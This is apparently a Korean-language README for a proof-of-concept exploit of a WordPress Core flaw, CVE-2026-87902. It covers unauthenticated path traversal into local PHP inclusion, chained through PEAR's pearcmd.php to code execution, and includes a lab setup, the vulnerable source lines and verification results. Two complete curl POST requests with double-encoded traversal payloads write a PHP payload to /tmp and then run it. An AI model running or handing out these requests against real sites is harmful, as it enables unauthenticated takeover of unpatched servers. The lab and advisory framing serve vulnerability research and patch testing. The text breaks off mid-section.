
CVE-2026-87902 PoC — WordPress 페이지 템플릿 해석 과정의 인증되지 않은 경로 순회(로컬 PHP 포함, 조건부 RCE), 취약한 랩 환경 고정 포함
WordPress Core에서 이중 인코딩된 pagename 값을 통한 비인증 로컬 PHP 파일 포함 — 그리고 특정 배포 조건에서는 웹 서버 계정의 권한으로 PHP 코드 실행.
| CVE | CVE-2026-87902 |
| 벤더 권고 | GHSA-7hp8-65ch-5whp |
| 분석 글 | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| 영향 범위 | WordPress Core 4.7.0 – 7.1.1 (권고의 브랜치별 범위에 따르면 모든 브랜치); 7.0.2에서 동적으로 재현됨 |
| 수정 버전 | 7.1.2 (7.1 브랜치), 7.0.6 (7.0 브랜치) 및 권고에 따르면 4.7.37까지 모든 브랜치에 대한 백포트 |
| 취약점 유형 | CWE-98 (include 내 파일명 제어 부적절), CWE-22 / CWE-23 (경로 순회) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (보조) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| 인증 | 없음 — 계정, 쿠키, nonce, 세션, 플러그인, 외부 요청 불필요 |
| 사용자 상호작용 | 없음 |
| 작성자 | Robert Ressl — ressl.ch |
| PoC 검증 | 2026-09-22, 이 저장소의 랩 환경에서 검증 — 검증된 결과 참조 |
WordPress는 선택된 파일이 테마 루트 내부에 머무는지 결코 증명하지 않는 연쇄를 통해 Page 템플릿을 해석한다:
pagename과 page_id는 WP::parse_request()가 익명 POST 본문에서 받아들이는 공개 쿼리 변수이다.pagename 내의 이중 인코딩된 순회는 초기 쿼리 정제를 이스케이프된 %xx 옥텟으로 통과한다 (wp_basename()은 %2f를 구분자로 인식하지 못하며, sanitize_title_with_dashes()는 유효한 옥텟을 의도적으로 유지한다).page_id가 실제 게시된 Page를 선택하는 동안 악의적인 pagename은 쿼리 객체에 남아 있다.get_page_template()이 나중에 해당 값에 urldecode()를 호출하고 page-templates/../../../../../../../usr/local/lib/php/pearcmd.php와 같은 후보를 템플릿 계층에 추가한다.locate_template()과 최종 템플릿 로더는 존재 여부, 읽기 가능 여부, .php/.html 접미사만 확인할 뿐 — 정규화된 경로가 여전히 허용된 테마 루트 내부에 있는지는 결코 확인하지 않으며 — 그런 다음 이를 include한다.이것은 WordPress Core의 비인증 원격 로컬 파일 포함 프리미티브이다. 테스트된 공식 런타임(wordpress:php8.3-apache, PEAR를 번들로 포함하고 php.ini를 로드하지 않아 register_argc_argv가 On임)에서 이 포함은 PEAR의 pearcmd.php를 통해 연쇄되었다: 첫 번째 익명 요청이 config-create로 하여금 공격자가 제어하는 PHP를 /tmp에 작성하게 하고, 두 번째 익명 요청이 그 파일을 포함하여 www-data로 실행한다.
Core의 누락된 경로 격리가 취약점이다. PEAR는 포함에서 코드 실행으로 이어지는 환경 의존적 경로 중 하나일 뿐이며 — WordPress 의존성이 아니고 모든 배포에서 존재하거나 사용 가능한 것도 아니다.
검증된 소스 위치 (WordPress 7.0.2):
| # | 위치 | 역할 |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename과 page_id는 공개 쿼리 변수이며 $_POST에서 읽힌다 |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — wp_basename()에게 %2f는 구분자가 아니다 |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes()는 유효한 %xx 옥텟을 제거하지 않고 유지한다 |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — 순회가 정제 이후에 활성화된다 |
| 5 | wp-includes/template.php:722-736 | locate_template()은 각 테마 루트 아래에 후보를 연결하고 file_exists()만 호출한다 |
| 6 | wp-includes/template-loader.php:116-132 | realpath()가 경로를 정규화한 후, 정규 루트 격리 검사 없이 include가 실행된다 |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical()은 비 GET/HEAD 요청에 대해 조기 반환하므로 POST는 정규화로 제거되지 않는다 |
독립 실행형 포함 프리미티브에는 다음이 필요하다:
| # | 전제 조건 | 이유 |
|---|---|---|
| 1 | 숫자 page_id로 선택되는, 게시된 익명 접근 가능 Page | 경로명 조회가 실패한 후 쿼리에 의해 페이지가 반환되어야 함 |
| 2 | 더 이른 시점에 해석 가능한 사용자 정의 페이지 템플릿이 없을 것 | 유효하게 할당된 템플릿이 악의적 후보보다 먼저 정렬됨 |
| 3 | 활성 (자식 또는 부모) 테마에 이름이 page-로 시작하는 최상위 디렉터리, 예: page-templates/ | WordPress가 고정된 page- 접두사를 앞에 붙이므로 .. 순회가 위치 0에서 시작할 수 없음; 디렉터리는 존재하고 순회 가능하기만 하면 되며 — 쓰기 가능할 필요는 없음 |
| 4 | PHP 사용자가 존재하고 읽을 수 있는 선택된 로컬 .php 파일 | 로더가 is_file()/is_readable()을 확인하고 .php 접미사를 요구함 |
| 5 | 해당 파일을 차단하는 파일시스템 격리가 없을 것 | open_basedir 또는 MAC 정책이 포함을 방지할 수 있음 |
시연된 PEAR 단계에는 추가로 읽을 수 있는 pearcmd.php (및 그 의존성), 웹 SAPI에 대한 register_argc_argv=On, 쓰기 가능한 출력 디렉터리가 필요하다. 프로덕션 php.ini 파일은 register_argc_argv=Off로 설정한다; 테스트된 이미지는 php.ini를 로드하지 않아 컴파일된 기본값(On)이 적용되었다. 이는 시연된 코드 실행 연쇄의 보급률에 대한 중요한 제한이다.
번들로 제공되는 Twenty Twenty-Three/Four/Five 테마는 최상위 page-* 디렉터리를 제공하지 않으므로, 기본 랩에는 아래에 설명된 픽스처가 필요하다. 사용자 정의 테마는 page-templates/ 레이아웃을 정당하게 사용할 수 있다 (WordPress 문서).
권고는 이러한 조건이 배포된 소프트웨어에서 어디서 발생하는지 기록한다: 테마 조건은 레거시 Twenty Twelve 및 Twenty Fourteen 테마와 Neve, Hestia, Sydney 같은 서드파티 테마에서 충족되며, PEAR 전환은 공식 PHP Docker 이미지와 PHP 8.5 미만을 실행하는 기본 cPanel 구성에 적용된다. (Twenty Twelve와 Twenty Fourteen은 모두 최상위 page-templates/ 디렉터리를 제공한다; 나머지 진술은 권고의 것이다.) 이 저장소는 전체 연쇄가 얼마나 자주 적용되는지 측정하지 않는다.
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py는 Python 3.6+ (표준 라이브러리만)가 필요하며 기본적으로 http://127.0.0.1:8091의 랩에 접속한다. 예상 출력:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
종료 코드는 성공 시 0, 그렇지 않으면 1이므로 PoC는 회귀/탐지 검사로도 작동한다.
정리: docker compose down -v.
2026-09-22, 이 랩 환경에서 실행 (Docker 29.4, OrbStack, Apple silicon):
| 검사 | 결과 |
|---|---|
| 단계 1 | HTTP 200; /tmp/wp-pear-rce-flag.php가 www-data:www-data, 모드 0644, 1219 바이트로 작성됨 |
| 페이로드 SHA-256 | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — 원본 보고서에 기록된 해시와 동일 |
| 단계 2 | HTTP 200; 주입된 PHP가 모드 0444 증명 아티팩트를 출력함 |
| 마커 발생 횟수 | 12 (PEAR가 제어된 루트 값을 12개의 구성 항목으로 직렬화함) |
| 사용된 자격 증명 | 없음 — 모든 요청에 Cookie 또는 Authorization 헤더 없음 |
| 음성 대조 | page-templates/ 제거 → 단계 2가 정상 페이지를 반환, 마커 없음, 종료 코드 1 |
증명 아티팩트는 컨테이너 내부의 /flag로, root 소유이며 전 세계 읽기 가능(root:root, 모드 0444)하다. 이는 웹 서버 계정으로서 PHP 실행과 파일 접근을 증명하며; 권한 상승 대상이 아니다.
두 번의 익명 POST. WordPress 라우팅 값은 폼 본문으로, PEAR 인수는 원시 쿼리 문자열로 전달된다 (PHP는 원시 쿼리 문자열을 리터럴 +로 분할하여 argv로 만들고 개별 인수를 URL 디코딩하지 않는다):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
단계 1 — pearcmd.php를 포함하고 페이로드 작성:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
단계 2 — 생성된 파일을 포함하고 그 PHP 실행:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
중요한 세부 사항: